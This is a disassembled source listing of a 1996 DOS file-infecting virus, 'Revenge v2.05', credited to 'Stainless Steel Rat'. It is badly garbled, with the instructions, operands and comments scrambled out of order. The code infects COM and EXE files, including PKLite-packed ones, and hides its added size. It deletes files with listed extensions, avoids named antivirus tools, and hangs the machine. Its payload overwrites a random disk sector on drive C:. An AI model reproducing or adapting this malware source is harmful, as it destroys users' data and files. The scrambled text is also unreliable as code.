SND_table: db db db db db db db db set_infection_mark: mov ax,5700h call mov mov cl,5 shr ax,cl shl add mov cx,ax mov ax,5701h call jc nop nop nop mov mov jmp nop

3Ch 24h 14h 0Ch 34h 1Ch 2Ch 04h

; ; ; ; ; ; ; ;

cmp and adc or xor sbb sub add

al,xx al,xx al,xx al,xx al,xx al,xx al,xx al,xx

(+1 (+1 (+1 (+1 (+1 (+1 (+1 (+1

= = = = = = = =

cmp and adx or xor sbb sub add

ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx)

int_21 ax,cx

; Get file date/time ; file time

ax,cl ax,file_month

; Clear seconds field ; Set infection mark (seconds=month)

int_21 close_file

; Set file date/time

pklite_exe,0 pklite_com,0 close_infected

db

'- THERE CAN BE ONLY ONE -',0

mov call inc jmp nop

ah,3Eh int_21 ; Close file infection_count restore_attr

close_infected:

close_file: mov ah,3Eh call restore_attr: mov pop dx pop ds mov ax,4301h call restore_i24: push ds mov ax,2524h mov mov mov ds,bx call pop ds mov mov push ds push cs pop ax dec ax dec ax push ax pop ds inc cmp pop ds je jmp check_activation: cmp jae jmp

int_21

; Close file

cx,attributes

int_21

; Restore attributes

dx,cs:ofs_i24-100h bx,cs:seg_i24-100h int_21

; Restore int 24h

pklite_exe,0 pklite_com,0

word ptr ds:[8] word ptr ds:[8],50

; Inc number of files processed ; 50 files?

check_activation popregs_iret

; Yes? then jmp

cs:tick_counter-100h,900*18 ; >=900 seconds? (>15 mins.) activation popregs_iret

activation: mov sub mov call jmp

ax,cs ax,10h ds,ax print_REVENGE popregs_iret

; DS:=CS-10h

mov call jc

host_type,1 check4pklite_exe no_pk_exe

; EXE file ; Pklited file? ; No? then jmp

jmp nop

pk_exe

db

'I''M GOING SLIGHTLY MAD'

mov jmp

pklite_exe,1 process_exe

is_exe:

nop nop nop

pk_exe:

nop

; It's a pklited exe

no_pk_exe: mov

pklite_exe,0

; It isn't a pklited exe

mov mov shl add mov dx call add

cl,4 dx,_hdrsize dx,cl dx,512 ah,3Fh

; *16 (Header size in bytes)

lseekDX_functionAX encrypted_byte,7Eh

; Read a byte ; Encrypt it

mov call jmp

ah,40h lseekDX_functionAX store_header

; Write byte

db

'Don''t lose your header',0

si di es mov mov mov

si,offset(header) di,offset(header_exe) cx,e_header_exe-header_exe

process_exe:

push

pop dx

nop

store_header: push push push

cld push pop es

ds rep

movsb

; Store header

pop es pop di pop si mov xor cx,cx xor dx,dx call jnc jmp

ax,4202h

int_21 check_size_exe close_file

; Lseek end

cmp jnz

dx,0 check_big_exe

; > 64k? ; Yes? then jmp

cmp jae jmp

ax,4000 check_big_exe close_file

; >= 4000 bytes? ; Yes? then jmp ; No? then jmp (too small)

cmp jb jmp

dx,9 fix_header close_file

; > 9*64k ? ; No? then jmp ; Yes? then jmp (too big)

mov mov

size_exe_l,ax size_exe_h,dx

; Store file size

add

ax,VIRUS_SIZE

adc mov

dx,0 cx,512

check_size_exe:

nop nop nop

check_big_exe:

fix_header:

clc nop

push

div mov inc mov mov mov mov div mov sub mov mov mov ax mov mov

cx pagecnt,ax pagecnt partpag,dx ax,size_exe_l dx,size_exe_h cx,16 cx exeip,dx ax,hdrsize relocs,ax reloss,ax exesp,0FFFEh

xor xor mov call jnc jmp

dx,dx cx,cx ax,4200h int_21 ; Lseek start patch_pk_header? close_file

ax,exeip ofs_vircode,ax

; Calculate number of pages ; Not always!!! ; Length of partial page at end ; Get original size

; Calculate virus segment and IP ; Virus IP ; Virus segment ; Stack segment ; SP

; Virus runtime offset

pop ax

patch_pk_header?: cmp jne nop nop nop mov mov mov add mov mov mov mov mov write_header_exe: mov mov mov call jnc jmp wrote_header_exe: cmp je jmp

pklite_exe,1 write_header_exe

ax,exeip pk_exe_ip,ax ax,relocs ax,10h pk_exe_cs,ax ax,_exeip exeip,ax ax,_relocs relocs,ax

; Pklited exe? ; No? then jmp

; Add PSP ; Header points to Pklite code

dx,offset(header_exe) cx,e_header_exe-header_exe ah,40h int_21 ; Write new header wrote_header_exe close_file

pklite_exe,1 patch_pkexe append_code

; Pklited exe? ; Yes? then jmp

patch_pkexe: mov mov add xor call mov mov

ax,4200h dx,ofs_segcode dx,29h cx,cx int_21 ah,40h ; Lseek to code segment+29h cx,e_pkexe_patch-pkexe_patch

mov call

dx,offset(pkexe_patch) int_21 ; Write patch

nop

jnc jmp

patch2_pkexe close_file

mov mov add xor call mov mov mov call jnc jmp

ax,4200h dx,ofs_segcode dx,0Dh cx,cx int_21 ; Lseek to code segment+0Dh ah,40h cx,1 dx,offset(jmp_xx_pkexe) int_21 ; Write jmp (force jmp to patched code) jmp2_append_code close_file

patch2_pkexe:

jmp2_append_code: jmp

append_code

jmp_xx_pkexe

db

0EBh

mov add jmp db dw dw

ax,es cs:[135h],ax $+2 0EAh 0 0

size_exe_l size_exe_h

dw dw

0 0

pklite_exe

db

0

dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

db

'Just very slightly mad !',0

call jnc jmp

int_21 found_fffn exit_fffn_preserve_AX

; jmp xx

pkexe_patch:

pk_exe_ip pk_exe_cs e_pkexe_patch:

header_exe: signature partpag pagecnt relocnt hdrsize minmem maxmem reloss exesp chksum exeip relocs tabloff overlay

; jmp far to virus start

; 0 = Exe-file not compressed with Pklite ; 1 = Exe-file compressed with Pklite

e_header_exe:

ff_fn:

found_fffn:

mov call mov and cmp jne jmp

ah,2Fh int_21 cl,es:[bx+15h] cl,10h cl,10h no_directory exit_fffn

mov mov cx mov mov shr and mov pop and cmp jne

cx,es:[bx+16h] dx,es:[bx+18h]

; Get file time ; Get file date

ax,dx cl,5 ax,cl ax,0Fh dx,ax ax ax,1Fh ax,dx check_table_ext

; AX:=file date

cmp jne

word ptr es:[bx+1Ch],0 restore_size

; >64KB? ; Yes? then jmp

cmp jae jmp

es:[bx+1Ah],VIRUS_SIZE restore_size exit_fffn

; >=virus size ; Yes? then jmp

mov cmp

ax,es:[bx+1Ah] ax,VIRUS_SIZE

; Get DTA address in ES:BX ; Get attributes ; Subdirectory? ; No? then jmp

no_directory:

push

; AX:=month ; ; ; ;

AX:=file time AX:=seconds seconds=month? Infected? No? then jmp

nop nop nop

nop nop nop

restore_size:

; ;

sub es:[bx+1Ah],VIRUS_SIZE sbb es:[bx+1Ch],0 ?? ;)

nop jb

cross_64k

jmp

no_cross_64k

dec

word ptr es:[bx+1Ch]

sub jmp

es:[bx+1Ah],VIRUS_SIZE check_table_ext

db

'I''m the invisible man',0

mov sub mov add mov

bp,offset(table_ext) bp,100h di,bx di,1Eh ; Point to filename si,di

mov

ah,es:[di]

nop nop nop nop cross_64k: no_cross_64k:

nop

check_table_ext:

next_char_fname:

cmp jnz

ah,0 cmp_dot

; End of filename? ; No? then jmp

jmp

exit_fffn

cmp je

ah,'.' ; Extension? found_extension ; Yes? then jmp

jmp

next_char_fname

nop nop nop

cmp_dot:

nop nop nop inc di

found_extension: inc l_next_extension: mov cmp je nop nop nop cmp je nop nop nop add jmp

di

; Point to extension

ax,cs:[bp] ax,es:[di] cmp_last_ext

; Extension in table? ; Maybe? then jmp

al,0FFh exit_fffn

; End of table? ; Yes? then jmp

bp,3 ; Next l_next_extension

cmp_last_ext: mov cmp je

ah,es:[di+2] ah,cs:[bp+2] jmp_kill_file

add jmp

bp,3 l_next_extension

jmp

kill_file

db

'Now you DiE !',0

es xor mov mov mov mov mov mov mov

ax,ax es,ax ; ES:=0 ax,es:[24h*4] ; Read & store int 24h cs:ofs_i24-100h,ax ax,es:[24h*4+2] cs:seg_i24-100h,ax es:[24h*4],offset(int_24)-100h ; Set new int 24h es:[24h*4+2],cs

; Extension in table? ; Yes? then jmp

nop nop nop

jmp_kill_file: nop

kill_file: push

pop es push push pop dx

es si

pop ds

push

pop es push pop di cld

mov call es xor mov mov mov mov mov

ah,41h int_21

; Delete file

ax,ax es,ax ax,cs:ofs_i24-100h es:[24h*4],ax ax,cs:seg_i24-100h es:[24h*4+2],ax

; ES:=0 ; Restore int 24h

si

mov

ax,0A898h

; Return 'shit !',0 in russian

mov

ax,20E2h

mov

ax,'!'

; '!',0

jmp

exit_fffn

; Stupid jmp!!!

add jmp

sp,6 exit_21h

stosw stosw stosw nop exit_fffn: pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax popf clc

exit_fffn_preserve_AX: mov pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax pop ax mov add stc jmp popregs_iret: pop es pop ds pop di pop si pop bp pop dx pop cx

cs:returnAX_fffn-100h,ax

; Preserve AX

ax,cs:returnAX_fffn-100h sp,6

; Return AX

exit_21h

pop bx pop ax popf iret ofs_i24 seg_i24

dw dw

restore_exec_host: pop es pop ds cmp je nop nop nop cmp je nop nop nop mov push

0 0

cs:[si+host_type],1 restore_exe

; EXE? ; Yes? then jmp ; It's COM

cs:[si+encrypted_byte?],0FFh decrypt_byte190

ax,103h

; Byte encrypted? ; Yes? then jmp

; Initial call return address ; If not encrypted it starts with 'call'

ax jmp

restore_com

mov sub mov

al,cs:[si+encrypted_byte] al,53h ; Decrypt byte cs:[190h+100h],al ; Restore code in memory

mov add push si add mov call

ax,cs:[si+jmp_dest] ax,100h ax

pop add mov call ret

si si,offset(restore_exe) cx,virus_end-restore_exe remove_from_memory

nop decrypt_byte190:

restore_com:

push

; Host entry point

si,100h ; Remove virus from memory cx,offset(delmem_here)-100h remove_from_memory

delmem_here:

remove_from_memory: push cx l_del_mem: mov inc si loop pop cx ret

; Return to host

byte ptr cs:[si],'#'

; Remove copy virus from memory

l_del_mem

db 'All dead...',0 restore_exe: sub cmp jne nop nop

byte ptr ds:[512+100h],7Eh ; Decrypt byte cs:[si+pklite_exe],1 ; Pklited file? no_pk_host_exe ; No? then jmp

nop mov no_pk_host_exe: push ax mov ax,ds add add add mov mov mov mov mov mov mov mov pop ax push si add mov call ;delmem_here2: pop push si add mov call pop si cli mov mov sti jmp file_ip file_cs file_sp file_ss

dw dw dw dw

check_valid_fname: push ds push si push di push bx mov mov sub mov

ds:[0Dh+100h],9090h

; Remove patch

ax,10h cs:[si+_reloss],ax cs:[si+_relocs],ax ax,cs:[si+_exeip] cs:[si+file_ip],ax ax,cs:[si+_relocs] cs:[si+file_cs],ax ax,cs:[si+_exesp] cs:[si+file_sp],ax ax,cs:[si+_reloss] cs:[si+file_ss],ax

; Add PSP ; Relocate segments

si,100h cx,offset(delmem_here)-100h ; offset(delmem_here2) !!! remove_from_memory si si,offset(check_valid_fname) cx,virus_end-check_valid_fname remove_from_memory

sp,cs:[si+file_sp] ss,cs:[si+file_ss]

; Set stack

dword ptr cs:[si+file_ip]

; Exec host

0 0 0 0

di,dx si,offset(av_table) si,100h bx,di

l_search_fname: cmp jz

byte ptr [di],0 end_search

; End of string? ; Yes? then jmp

cmp je

byte ptr [di],'\' mark_position

; Start of directory/file name? ; Yes? then jmp

nop nop nop

nop nop nop next_search_fname: inc di

jmp

l_search_fname

mov jmp

bx,di next_search_fname

mov cmp je

ax,cs:[si] ax,'##' valid_fname

; Get 2 chars from table ; End of table? ; Yes? then jmp

cmp jne jmp

[bx+1],'DI' check_table print_msg_russ

; '?ID*.*' ? (AIDTEST?) ; No? then jmp ; Yes? then jmp

cmp je

ax,[bx] invalid_fname

; Invalid filename (in table)? ; Yes? then jmp

inc

si

; Next table entry

jmp

next_inv_fname

jmp

restore_attr

mark_position:

end_search: inc bx next_inv_fname:

nop nop nop

check_table:

nop nop nop inc si

valid_fname: pop bx pop di pop si pop ds ret invalid_fname: pop bx pop di pop si pop ds pop ax

convert2uppercase: push di push ax l_c2up: mov cmp jz

ah,[di] ah,0 exit_c2up

; End of string? ; Yes? then jmp

cmp jb

ah,'a' next_c2up

; In lowercase? ; No? then jmp

cmp ja

ah,'z' next_c2up

; In lowercase? ; No? then jmp

nop nop nop

nop nop nop

nop

nop nop sub

ah,' '

; Convert in uppercase

mov

[di],ah

jmp

l_c2up

db

'Crazy Little Thing Called PkLite',0

next_c2up: inc di

exit_c2up: pop ax pop di ret

check4pklite_com: push di push ax push cx xor cmp jne nop nop nop inc no_pk150: cmp jne nop nop nop cmp jnz nop nop nop mov mov xor l_crc_pkl: add inc di loop cmp je nop nop nop cmp je nop nop nop cmp jz nop nop nop jmp nop pk_100:

di,di byte ptr [di+header],50h no_pk150

; PUSH AX? (PKL 1.50+) ; No? then jmp

di

; Skip 'push ax'

byte ptr [di+header],0B8h no_pklite

; MOV AX,xxxx? ; No? then jmp

byte ptr [di+header+3],0BAh no_pklite

; MOV DX,xxxx? ; No? then jmp

di,offset(header)+7 cx,16 ax,ax al,[di]

; Make CRC of code

l_crc_pkl al,53h pk_100

; PKLite 1.00? ; Yes? then jmp

al,0E5h pk_115

; PKLite 1.15? ; Yes? then jmp

al,9Dh pk_150

; PKLite 1.50? ; Yes? then jmp

no_pklite

mov mov jmp

ofs_patchcom2,71h inc_ofs_patch1,0 pklite_found

; Dir patch+0

mov mov jmp

ofs_patchcom2,73h inc_ofs_patch1,0 pklite_found

; Dir patch+0

mov mov

ofs_patchcom2,84h inc_ofs_patch1,1

jmp

pklite

nop pk_115:

nop pk_150: ; Dir patch+1

pklite_found: clc nop no_pklite: stc pklite: pop cx pop ax pop di ret

check4pklite_exe: cmp jne nop nop nop cmp jne nop nop nop mov mov mov shl mov add xor call mov mov mov call mov mov mov l_cmp_pkcode: mov cmp jne nop nop nop inc di inc si

_relocs,0FFF0h ; CS segment=0FFF0h? (like pklited file) not_found_pkexe ; No? then jmp

_exeip,100h ; IP=100h? (like pklited files) not_found_pkexe ; No? then jmp ; Yes? Seems to be a pklited exe file

ax,4200h cl,4 dx,_hdrsize dx,cl ; header size * 16 = start of code ofs_segcode,dx dx,6 ; Skip 6 bytes cx,cx int_21 ; Lseek to end of header+6 ah,3Fh dx,offset(buffer_pkexe) cx,0Ah int_21 ; Read from file si,offset(pkexe_code) di,offset(buffer_pkexe) cx,0Ah al,[si] al,[di] ; Check if it's a pklited exe file not_found_pkexe ; No? then jmp

loop

l_cmp_pkcode

db db db db db db db db db db

0 0 0 0 0 0 0 0 0 0

db db

0 0

pkexe_code: ; ; ; ;

add cmp jnb sub

ax,0 ax,[2] $+1Ch ax,0

ofs_segcode

db db db db db db db db db db dw

5 0 0 3Bh 6 2 0 73h 1Ah 2Dh 0

push

cs

mov mov call

ah,9 dx,offset(msg_russian)-100h int_21 ; Print msg

clc ret not_found_pkexe: stc ret buffer_pkexe:

print_msg_russ: pop ds

cli hlt

; Hang computer

print_REVENGE: mov int mov mov mov mov int

mov

ax,3 10h ax,40h es,ax cx,0FFFFh ah,1 10h ; ; ; ; ax,0B800h

; VIDEO: Change mode to 80x25 16col. ; why?? ; why??

VIDEO: Set cursor characteristics CH bits 0-4 = start line in character cell bits 5-6 = blink attribute CL bits 0-4 = end line in character cell

mov mov mov

es,ax di,(3*80+28)*2 si,offset(this_is)

; ES:=video memory segment ; gotoxy(28,3)

mov cmp jz

ah,[si] ah,0 wrote_this_is

; End of string? ; Yes? then jmp

mov add

es:[di],ah di,3*2

; Write char to screen ; 2 chars between letters

jmp

write_this_is

mov mov mov mov

di,(6*80)*2 ; gotoxy(0,6) bx,di si,offset(revenge) cx,12 ; 12 lines

mov cmp je

al,[si] al,0 new_revenge_line

nop cmp jne

al,' ' cmp_b1

mov jmp

ah,0 ; Color: black write_charAL_colorAH

cmp jne

al,'±' cmp126

mov jmp

ah,0C0h ; Blink ± write_charAL_colorAH

cmp jne jmp

al,'~' cmpp code126p

; ~ code? ; No? then jmp

cmp jne jmp

al,'#' cmp_d code126p

; '#' code? ; No? then jmp

cmp jne

al,'d' cmp_w

; 'd' code? ; No? then jmp

mov

ah,0C0h

; Blink

write_this_is:

nop nop nop

inc si

wrote_this_is:

l_revenge_line: ; End of line? ; Yes? then jmp

nop nop ; Space? ; No? then jmp

nop nop nop

nop cmp_b1: ; ± code? ; No? then jmp

nop nop nop

nop cmp126:

cmpp:

cmp_d:

nop nop nop

mov jmp

al,'±' write_2chars

cmp jne

al,'w' cmpadm

; 'w' code?

nop mov mov jmp

ah,4 al,'ß' write_2chars

; Color: red

cmp jne

al,'!' ; '!' code? no_special_char ; No? then jmp

xor jmp

ax,ax write_2chars

; Char 0, color black

ah,4

; Color: red

cmp_w:

nop nop

cmpadm:

nop nop nop

no_special_char: mov write_charAL_colorAH: mov inc di inc di inc si jmp new_revenge_line: add mov inc si loop mov mov write_of_SSR: mov cmp jz nop nop nop mov add inc si jmp

es:[di],ax

l_revenge_line

bx,80*2 di,bx

; Next screen line

l_revenge_line di,(20*80+6)*2 ; gotoxy(6,20) si,offset(of_SSR) ah,[si] ah,0 wrote_of_SSR

; End of string? ; Yes? then jmp

es:[di],ah di,3*2

; Write char to screen ; 2 chars between letters

write_of_SSR

wrote_of_SSR: mov mov sti change_line_colors: mov mov l_set_colors: push cx mov mov mov add

cx,200 si,1

; !?

di,(20*80+5)*2 cx,68

; gotoxy(20,5)

ah,cl cl,4 bx,si ah,bl

; Calculate color

shl shr cmp jnz

ah,cl ah,cl ah,0 no_black

; Black? ; No? then jmp

mov

ah,1

; Skip black

mov

es:[di+1],ah

; Set char color

inc

di

; Next char

loop call inc in cmp jne jmp

l_set_colors delay si ; New colors al,60h ; AT Keyboard controller 8042. al,1 ; ESC key pressed? change_line_colors ; No? then jmp print_msg_and_kill_sector

mov loop mov loop mov loop

cx,0FFFFh $ cx,0FFFFh $ cx,0FFFFh $

cx mov cmp jne nop

cl,[si+1] al,'~' codep

mov jmp

ah,0 l_repeat_char

; Color: Black

mov mov

ah,0C0h al,'±'

; Blink

cmp jz

cl,0 ; More chars? end_repeat_char ; No? then jmp

mov

es:[di],ax

jmp

l_repeat_char

jmp

l_revenge_line

nop nop nop no_black: pop cx inc di

nop delay:

ret code126p: push

; Number of chars to repeat

; '~' char

nop nop

nop codep:

l_repeat_char:

nop nop nop inc di inc di dec cl

end_repeat_char: inc si inc si pop cx

; Write char

write_2chars: mov inc

es:[di],ax di

; Write char

jmp

write_charAL_colorAH

; Write another char

inc di

print_msg_and_kill_sector: mov ax,2 int 10h ; VIDEO: Change mode to 80x25 B&W mov al,3 int 10h ; VIDEO: Change mode to 80x25 16col. mov ah,1 mov cx,2000h ; Invisible cursor int 10h ; VIDEO: Set cursor characteristics mov cx,0 mov di,(9*80+8)*2 ; gotoxy(8,9) mov si,offset(release_msg) mov ax,0B800h mov es,ax ; Point to video memory l_print_version: push di call print_string pop di add di,80*2 ; Next screen line inc si add cx,1 ; Next line (inc cx!!) cmp cx,4 ; 4 lines printed? jne l_print_version mov ax,40h mov es,ax ; ES:=40h mov dx,es:[6Ch] ; Random sector mov cx,1 ; 1 sector mov al,2 ; C: int 26h ; DOS - ABSOLUTE DISK WRITE ; AL = drive number (0=A, 1=B, etc), ; DS:BX = Disk Transfer Address (buffer) ; CX = number of sectors to write, ; DX = first relative sector to write ; Overwrite random sector cli hlt ; Hang computer print_string: mov mov add

al,[si] ah,11 ah,cl

cmp je

al,'#' skip_chars

cmp jz

al,0 end_print_string

mov

es:[di],ax

; ; ; ; ; ;

Line 1: color Line 2: color Line 3: color Line 4: color Special code? Yes? then jmp

11 12 13 14

-> -> -> ->

blue red pink yellow

nop nop nop ; End of string? ; Yes? then jmp

nop nop nop inc si inc di

; Print char

inc di jmp

print_string

end_print_string: ret skip_chars: mov shl mov add

al,[si+1] al,1 ah,0 di,ax

jmp

print_string

cx ax si di es mov mov mov ror mov mov shl shr mov

si,offset(encrypt_instructions) di,offset(enc_inst) al,enc_selector al,1 enc_selector,al cl,6 al,cl al,cl cl,3

add call

si,ax copy_enc_inst

mov ds

cx,3

rep ret

movsb

enc_selector

db

0

this_is of_SSR

db db

'THIS IS',0 'OF',9,'STAINLESS STEEL RAT',0

revenge: ; Line 1

; Compressed graphic

inc inc inc inc

; Number of chars to skip ; 2 bytes per each char ; Skip chars

si si di di

encrypt_i1: push push push push push

mul cl

pop pop pop pop pop ret

es di si ax cx

copy_enc_inst: cld push pop es

db db db

'~',7,'*','d',' ','#',5,'~',9,'*','d',0,'~',7,'*','#',3,'w' 'ß','Û','d',' ','Ü','#',5,'!','*','d','~',4,'*','d','!','Ü' '#',5,'!','*','d',' ','#',4,'~',3,'#',4,' ','d','!','Ü','#',5,0

db db

'~',7,'Û','#',3,'~',3,'*','d','*','d','w','Û','d',' ','*','d' '~',4,'*','d',' ','*','d','w','Û','d',' ','*','#',3,'w','Û','d'

; Line 2

db

'*','d','w','ß','#',3,' ','*','d','w','Û','d',0

db db db

'~',6,'*','#',3,'~',3,'*','d',' ','*','d','!','*','d','!','Û' '±','~',3,'*','d','!','*','d','!','*','d',' ','*','d','~',3 '*','d','*','d','~',3,'*','d',' ','*','d','!','*','d',0

db db

'~',6,'Û','#',7,'!','*','#',7,'~',3,'*','d','!','*','d',' ','*' '#',7,'!','*','d','~',3,'*','d',' ','Û','#',7,'*','#',7,0

db db db

'~',5,'*','#',3,' ','*','d','~',3,'*','#',3,'w','ß','~',5,'*' 'd',' ','*','±','!','*','#',3,'w','ß','~',3,'*','d','~',3,'*' 'd','!','w','#',5,'*','#',3,'w','ß',0

db db db

'~',5,'*','d','~',3,'Û','d','~',3,'Û','d','~',4,'±','~',4,'*' 'd','*','±','~',3,'Û','d','~',4,'±',' ','*','d',' ',' ','*','d' '~',5,'w','ß','Û','±',' ','Û','d','~',4,'±',0

db db db

'~',5,'Û','d','~',4,'Û','d','~',3,'Û','#',5,'~',6,'*','d','~',5 'Û','#',5,'!','*','d','!','*','d','~',3,'±','~',3,'*','d','!' 'Û','#',5,0

db db db

'~',4,'*','#',3,'~',5,'Û','d','~',3,'w','w','~',8,'w','~',6,'w' 'w','~',4,'w','~',3,'w',' ',' ','d','~',3,'*','d','~',3,'w','w' 0

; Line 3

; Line 4

; Line 5

; Line 6

; Line 7

; Line 8

; Line 9 db ; Line 10 db ; Line 11 db ; Line 12 db

'~',4,'Û','d','~',7,'Û','d','~',27h,'*','#',6,0 '~',4,'w','ß','~',8,'Û','d','~',27h,'w','w','ß','!',0 '~',10h,'Û','d',0 '~',10h,'w',0

; Uncompressed graphic: ; ; T H I S I S ; ; *±± ±±±±± *±± ; *±±±ßßßÛ±± ܱ±±±± *±± *±± ܱ±±±± *±± ±±±± ±±±± ±± ܱ±±±± ; Û±±± *±±*±±ßßÛ±± *±± *±± *±±ßßÛ±± *±±±ßßÛ±±*±±ßßß±±± *±±ßßÛ±± ; *±±± *±± *±± *±± Û± *±± *±± *±± *±± *±±*±± *±± *±± *±± ; Û±±±±±±± *±±±±±±± *±± *±± *±±±±±±± *±± *±± Û±±±±±±±*±±±±±±± ; *±±± *±± *±±±ßßß *±± *± *±±±ßßß *±± *±± ßß±±±±±*±±±ßßß ; *±± Û±± Û±± ± *±±*± Û±± ± *±± *±± ßßßÛ± Û±± ± ; Û±± Û±± Û±±±±± *±± Û±±±±± *±± *±± ± *±± Û±±±±± ; *±±± Û±± ßßßß ßß ßßßß ßß ßß ±± *±± ßßßß ; Û±± Û±± *±±±±±± ; ßßß Û±± ßßßßß ; Û±± ; ; O F S T A I N L E S S S T E E L R A T release_msg: db 'úúúú---BELBELBEL Revenge virus v 2.05 released at 08.08.96 BELBELBEL---úúúú',0 db 'úúúú---BELBELBEL Copyright (c) 1996-97 2 Rats Techno Soft BELBELBEL---úúúú',0 db 'úúúú---BELBELBEL#',11h, 'Written by#',0Eh, 'BELBELBEL---úúúú',0 db 'úúúú---BELBELBEL#',0Dh, 'Stainless Steel Rat#',9, 'BELBELBEL---úúúú',0 db db db msg_russian

'StealthedMetamorphicCrazyForcedSynthesatedRandom' 'MegaLayerEncryptionProgressionMutationEngine' 'SeekAndDestroyerGenerator',0

db '’ë ¥é¥ -¥ ¢ë¡p®á¨« íâ®â suxx -

¯®¬®©ªy ?! :)',7,'$'

header: _signature _partpag _pagecnt _relocnt _hdrsize _minmem _maxmem _reloss _exesp _chksum _exeip _relocs _tabloff _overlay word_ofs1C

dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw

0C3h 9090h 20CDh 0 0 0 0 0 0 0 0 0 0 0 0 0

dw dw dw

0 0 0

; Unused! ; Unused! ; Unused!

db db db

0E9h 0 0

; JMP xxxx (JMP start virus)

db

'Ÿ ¬áâî ,¨ ¬áâï ¬®ï 㦠á- ... ü S.S.R.'

file_month returnAX_fffn attributes pklite_com

dw dw dw db

0 0 0 0

jmp_dest ofs_patchcom2 inc_ofs_patch1 encrypted_byte?

dw dw dw db

0 0 0 0

_FFFF infection_count encrypted_byte host_type

db dw dw db db

0 0FFFFh 0 0 0

ofs_vircode

dw

0

db db db db db db db db db db db db db db

'PAR' 'PIF' 'ICO' '°°°' 'PAS' 'BAS' 'FRQ' '311' '312' 'TPU' 'GIF' 'JPG' 'NLM' 'STM'

jmp_com jmp_vir_l jmp_vir_h

; 0 = Not compressed with Pklite ; 1 = Compressed with Pklite

; 0FFh -> Yes ; 0 -> No ; Unused!

; 0 = COM ; 1 = EXE

table_ext: ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Windows swap file Windows PIF Windows Icon ??? Pascal sources Basic sources ??? ??? ??? Turbo Pascal Units GIF graphic format JPG graphic format Novell Netware (?) ???

db db db db

'MOD' 'CPP' 'DOT' 0FFh

; ; ; ;

MOD song format C++ sources WinWord End of table ÿ

db db db db db db db db db db db db

'DR' 'AI' 'AD' 'CO' 'HI' 'AV' 'WI' 'KE' 'US' 'GD' 'AV' '##'

; ; ; ; ; ; ; ; ; ; ; ;

DRWEB AIDSTEST ADINF COMMAND.COM HIEW AVP, AVSCAN <ÄÄÄÄÄÄÄÄÄÄÄ¿ WIN ³ KEYB ³ USER.EXE (Windows file) ³ GDI.EXE (Windows file) ³ Already checked!!! ÄÄÄÄÄÄÄÄÄEnd of table

db

0

; Unused!

av_table:

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

0Dh,0Ah ' yâ¨-ëç !' 0Ah,0Dh ' ¥p¥¨¬¥-®¢ âì -¥ § å®â¥«,¤ ! ’ë á ¬ í⮣® å®â¥« ! ' 0Dh,0Ah ' â® ¢®©- !!! ‘- ç « ¤®ª¨ - yç¨áì ¯¨á âì (ᬠAVPVE)!' 0Dh,0Ah '‚ ®¡é¥¬,H…‚Ž‡ŒŽ†HŽ‘’œ ‹…—…HˆŸ ®áâ ¢«ï¥â £-¥âã饥 ¢¯¥ç â«¥-¨¥' 0Ah,0Dh '®â ç१¬¥à-ëå ¯®â㣠£®á¯®¤¨- ¢¨à«¨á⮯¨á ⥫ï...' 0Dh,0Ah 'Exe-Pklite ⮫쪮 ¢ 3.13 - ª®¯ «... ¥¤-ë¥ î§¥pë - ¢¥p-®¥' 0Dh,0Ah 'â¥¡ï § ¤®«¡ «¨, ? Š ª íâ®:¢á¥ “„€‹ˆ‹:), ®- ®¯ïâì ¯®ï¢¨«áï !' 0Dh,0Ah 'H“ ’… … œ ‚‘… - ‚€Œ ‚‘…Œ Œ…HŸ ’… … œ ‹…—ˆ’œ ‘‹€ Ž:SND ®¤- ª®...' 0Dh,0Ah 'RES -¥ ®âí¬y«¨« - ¯®«yç¨ 32ReGs,@$%^, !' 0Dh,0Ah 'Revenge - â® ¤ ¦¥ -¥ è¢ ¡p , ¯ë«¥á®á á 拉p-®© - ª 窮© ¨' 0Dh,0Ah 'âyp¡®-- ¤¤y¢®¬ ¤«ï ⢮¥© -¥áç áâ-®© yâ¨-ë ¨ ®áâ «ì-ëå ‡€SHITHˆŠŽ‚!' 0Dh,0Ah '[®áâ «ì-ë¥ - ¥§¤ë ¯®áª¨¯ -ë]' 0Dh,0Ah '“¢ ¦ ¥¬ë© £-- Š ᯥp᪨© ! Žç¥-ì ¡« £®¤ p¥- § ¯®¤p®¡-®¥ ®¯¨á -¨¥ !' 0Dh,0Ah 'Œ-¥ ®ç¥-ì ¯®-p ¢¨«®áì,thanks. £¨ ¢ ¤®ª¥ ¥áâì -® ¢á¥ p ¢-® - Š “’Ž !' 0Dh,0Ah 'RES - -¥ ¯®«¨¬®pä-ë© £¥-¥p â®p, Randomer' 0Dh,0Ah ' ® í⮬y ¯®¢®¤y ï y¤ «¨« .AVB ¨§ å®p®è¥£® ᯨ᪠! Best®¢ë¥ p¥£ p¤ë ¨' 0Dh,0Ah 'py«¥áë ! AVP - íâ® ªpyâ®,Web - real SUXX !' 0Dh,0Ah '‡ ¡ £¨ ¨ £«îª¨ -¥ ®â¢¥ç î (¢ ®á®¡¥--®á⨠§ çy¦¨¥)!' 0Dh,0Ah 'ü S.S.R.' 0Dh,0Ah 'P.S. remember:8086 - -¥ 486, emul - -¥ TD386' 0Dh,0Ah

encrypt_instructions: add sub xor ror

es:[di],al es:[di],al es:[di],al byte ptr es:[di],cl

int_24: mov iret

al,3

int_1c: pushf inc cmp je

cs:tick_counter-100h cs:tick_counter-100h,6000h ; Time to shake screen? ; (6000h ticks = aprox. 22 min.) shake_screen ; Yes? then jmp

nop nop nop popf iret shake_screen: push push

dec ax dx mov mov out

cs:tick_counter-100h

in and out

al,40h al,1 dx,al

dw

0

pop pop push push es ax di mov mov mov cmp jne

cs:caller_IP-100h cs:caller_CS-100h cs:caller_CS-100h cs:caller_IP-100h

dx,3C4h al,1 dx,al ; ; ; ; ; ;

; Continue with shake

EGA: sequencer address reg clocking mode. Data bits: 0: 1=8 dots/char; 0=9 dots/char 1: CRT bandwidth: 1=low; 0=high 2: 1=shift every char; 0=every 2nd char 3: dot clock: 1=halved

inc dx ; ; ; ;

Get random number AL:=[0 | 1] EGA port: sequencer data register Shake screen

pop dx pop ax popf iret tick_counter int_6:

push push push

